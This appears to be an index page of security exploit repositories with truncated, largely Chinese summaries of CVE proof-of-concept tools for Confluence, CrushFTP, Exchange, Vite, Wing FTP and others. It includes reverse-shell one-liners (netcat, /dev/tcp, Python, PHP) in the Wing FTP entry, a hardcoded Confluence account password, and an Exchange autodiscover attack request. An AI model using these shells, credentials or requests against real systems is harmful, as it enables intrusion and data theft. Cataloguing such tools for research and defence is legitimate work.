Confluence-Question-CVE-2022-26138-

Confluence-Question-CVE-2022-26138 Atlassian Confluence Server 和 Data Center：CVE-2022-26138 当在 Confluence Server 或 Data Center 上安装并启用 'Questions for Confluence' 应用时，它会创建一个 Confluence 用户账户，用户名为 'disabledsystemuser'，密码为 'disabled1system1user6708'，这是一个硬编码密码，并且该账户会被添加到 confluence-users...

CVE-2016-7255

CVE-2016-7255 用于在64位版本的Windows上利用cve-2016-7255，已在Workstation 7 SP1、8.1、10（prior to build 1607）和Server 2012 R2上测试。 使用方法 cve-2016-7255 cve-2016-7255.exe 7 - Windows 7 SP1 cve-2016-7255.exe 81 - Windows 8.1 cve-2016-7255.exe 10 - Windows 10 prior to build 1607 cve-2016-7255.exe 12 - Windows Server...

CVE-2022-28117

CVE-2022-28117 Navigate CMS = 2.9.4 - 服务器端请求伪造（认证后） 描述 Navigate CMS v2.9.4 的 feedparser 类中存在服务器端请求伪造（SSRF）漏洞，允许远程攻击者通过向 feed 参数注入任意 URL 强制应用程序发出任意请求。 参考 https://nvd.nist.gov/vuln/detail/CVE-2022-28117 https://www.youtube.com/watch?v=4kHW95CMfD0...

CVE-2018-10933

CVE-2018-10933 libssh 服务端权限认证绕过漏洞（CVE-2018-10933） libssh是一个提供ssh相关接口的开源库，包含服务端、客户端等。其服务端代码中存在一处逻辑错误，攻击者可以在认证成功前发送MSGUSERAUTHSUCCESS消息，绕过认证过程，未授权访问目标SSH服务器。 0x00 docker for libssh vuln https://github.com/vulhub/vulhub/blob/master/libssh/CVE-2018-10933/README.md 0x01 nmap scan libssh version 0x02...

CVE-2024-40725-CVE-2024-40898

🚨警报🚨Apache漏洞 🚨警报🚨安全公告：CVE-2024-40725和CVE-2024-40898🚨警报🚨 CVE-2024-40725 描述： CVE-2024-40725 是一个高危漏洞，影响 Apache HTTP Server 2.4.0 至 2.4.61 版本。该漏洞涉及 modproxy 模块。当启用 ProxyPass 指令并配置了 URL 重写规则时，攻击者可利用此漏洞执行 HTTP 请求走私攻击。此类攻击利用代理服务器与后端服务器之间对 HTTP 请求解析的差异，可能导致信息泄露或未授权数据访问等未经授权的操作。 受影响版本： Apache HTTP Server...

CVE-2024-4040

CVE-2024-4040 CrushFTP 所有版本在 10.7.1 和 11.1.0 之前（所有平台）中存在一个服务器端模板注入漏洞，允许未经身份验证的远程攻击者读取 VFS 沙箱之外的文件系统文件，绕过身份验证获取管理员权限，并在服务器上执行远程代码。 安装 git clone https://github.com/gotr00t0day/CVE-2024-4040.git cd CVE-2024-4040 pip3 install -r requirements.txt 使用方法 usage: CVE-2024-4040.py -h -t TARGET -f FILE -d...

CVE-2021-23017-PoC

CVE-2021-23017-PoC python3 poc.py --target 172.1.16.100 --dnsserver 172.1.16.1...

CVE-2025-47812

CVE-2025-47812 - Wing FTP服务器远程代码执行（RCE） 作者: blindma1den 日期: 2025年7月 漏洞利用类型: 远程代码执行（未认证） 目标: Wing FTP Server & /dev/tcp/IP/PORT 0&1 Python3: python3 -c 'import socket,subprocess,os; ...' Netcat: nc IP PORT -e /bin/sh PHP: php -r '$sock=fsockopen"IP",PORT; ...' FIFO + Netcat: rm /tmp/f; mkfifo...

zeek-asyncrat-detector

基于 Zeek 的 AsyncRAT 恶意软件检测器 恶意软件经常通过 HTTPS 隐藏其与命令与控制（C2）服务器的通信。HTTPS 中的加密通常会掩盖入侵行为，使恶意软件得以完成其目标。这使得检测使用 HTTPS 的恶意软件颇具挑战性，但偶尔你也会碰到好运，就像这里的 AsyncRAT 案例一样——AsyncRAT 是一款 Windows 远程访问工具，在过去一年中被用于攻击美国管理关键基础设施的组织。 Notice.log 输出示例 separator \x09 setseparator , emptyfield empty unsetfield - path notice ope...

CVE-2022-41040

CVE-2022-41040 CVE-2022-41040 nuclei 模板 未经验证！ 用法 git clone https://github.com/numanturle/CVE-2022-41040 cd CVE-2022-41040 nuclei -u https://target -t owa.yaml GET /autodiscover/[email protected]/BACKENDAPI?&Email=autodiscover/autodiscover.json%[email protected] HTTP/1.1 Host: mail.xxx...

CVE-2025-30208

🔥 CVE-2025-30208 Vite 任意文件读取漏洞扫描器 适用于 CVE-2025-30208 的高级漏洞扫描器，具备企业级特性 专业的 Vite 任意文件读取漏洞检测渗透测试工具 🚀 快速开始 • 📋 功能特性 • 🔧 使用方法 • 📊 示例 • 🛡️ 安全性 📖 概述 这是一款综合性漏洞扫描器，旨在检测和利用 Vite 开发服务器中的 CVE-2025-30208 漏洞。该漏洞允许通过 Vite 的文件系统端点进行任意文件读取，可能暴露敏感配置文件、源代码和系统信息。 🎯 本工具的功能 检测 网络中易受攻击的 Vite 实例 安全地利用 任意文件读取漏洞 发现...

PSForgot2kEyXCHANGE

PSForgot2kEyXCHANGE 用于 Forgot2kEyXCHANGE CVE-2020-0688 的 PoC，使用 PowerShell 编写 用法 此 PoC 需要有效的用户名和密码。 此 PoC 使用 ysoserial.net 创建新的 ViewState，其中包含您通过 -Command 参数指定的命令。 如果您的系统上尚未安装此工具，请在此处下载。 PS . .\PSForgot2kEyXCHANGE.ps1 PS Invoke-Forgot2kEyXCHANG -Server 'https://webmail.domain.tld' -User...

CVE-2024-4956

CVE-2024-4956 该仓库包含一个用于自动化利用 CVE-2024-4956 的 Python 工具，能够从输入文件中批量测试文件路径，并自动将存在的文件路径内容保存到磁盘以供分析。漏洞详情可参见此处。 用法 usage: cve-2024-4956.py -h -f FILE -p PROXY -u URL --test -r RELATIVEPATH CVE-2024-4956 Path Traversal Exploit Script options: -h, --help show this help message and exit -f FILE, --file FI...

xxexploiter

XXExploiter It generates the XML payloads, and automatically starts a server to serve the needed DTD's or to do data exfiltration. Installation install node and npm if you don't have it yet npm install -g xxexploiter Building & Running from source This is a simple Node application written with...

MultiExploit

多服务漏洞扫描器 支持的漏洞与攻击向量 Microsoft SQL Server 漏洞 CVE-2023-21173 ：SQL Server 2022 中的远程代码执行 潜在利用： 弱认证配置 错误配置的服务器主体 xpcmdshell 滥用 高级选项操作 常见漏洞类别 1. 认证绕过 弱/默认凭据 空密码尝试 错误配置的认证机制 2. 服务枚举 FTP 匿名访问 开放的数据库端口 暴露的服务信息 3. 潜在攻击面 MSSQL 远程命令执行 FTP 信息泄露 网络服务指纹识别 目标服务 Microsoft SQL Server FTP 服务 Windows 远程管理 WinRM...

CVE-2019-11581

CVE-2019–11581 PoC...

CVE-2021-27905

CVE-2021-27905 Apache Solr ReplicationHandler 服务器端请求伪造（SSRF） 访问计数器 Apache Solr（全称 Searching On Lucene with Replication）是一个基于 Apache Lucene 库的免费开源搜索引擎，使用 Java 编写。Apache Solr 提供 RESTful XML/HTTP 和 JSON API，并支持多种编程语言的客户端库，例如 Java、Python、Ruby、C、PHP 等，广泛用于构建基于搜索和大数据分析的应用程序，涵盖网站、数据库、文件等场景。 Apache Solr...

CVE-2008-5416

CVE-2008-5416 Microsoft SQL Server spreplwritetovarbin Corrupción de Memoria mediante Inyección SQL Se puede producir un desbordamiento de búfer en el montón al llamar al procedimiento almacenado extendido no documentado "spreplwritetovarbin". Esta vulnerabilidad afecta a todas las versiones de...

CVE-2021-26121

CS-Cart templates.manage 服务端模板注入远程代码执行漏洞 发现者：360 Vulcan 团队的 Steven Seeley 版本：= 4.12.x（最新） 日期：2021-01-08 12:49 CVE：CVE-2021-26121 披露时间线 2021-01-26 – 发送给 CS-Cart 开发团队 2021-01-27 – CS-Cart 开发团队确认收到 2021-02-10 – CS-Cart 回复称不是安全漏洞 2021-02-12 – 公开披露 摘要 店铺管理员（不要与超级管理员混淆）在编辑模板时，可以通过服务端 Smarty...

juicy-potato

Juicy Potato abusing the golden privileges A sugared version ofRottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM Summary RottenPotatoNG and its variants leverages the privilege escalation chain based on BITS...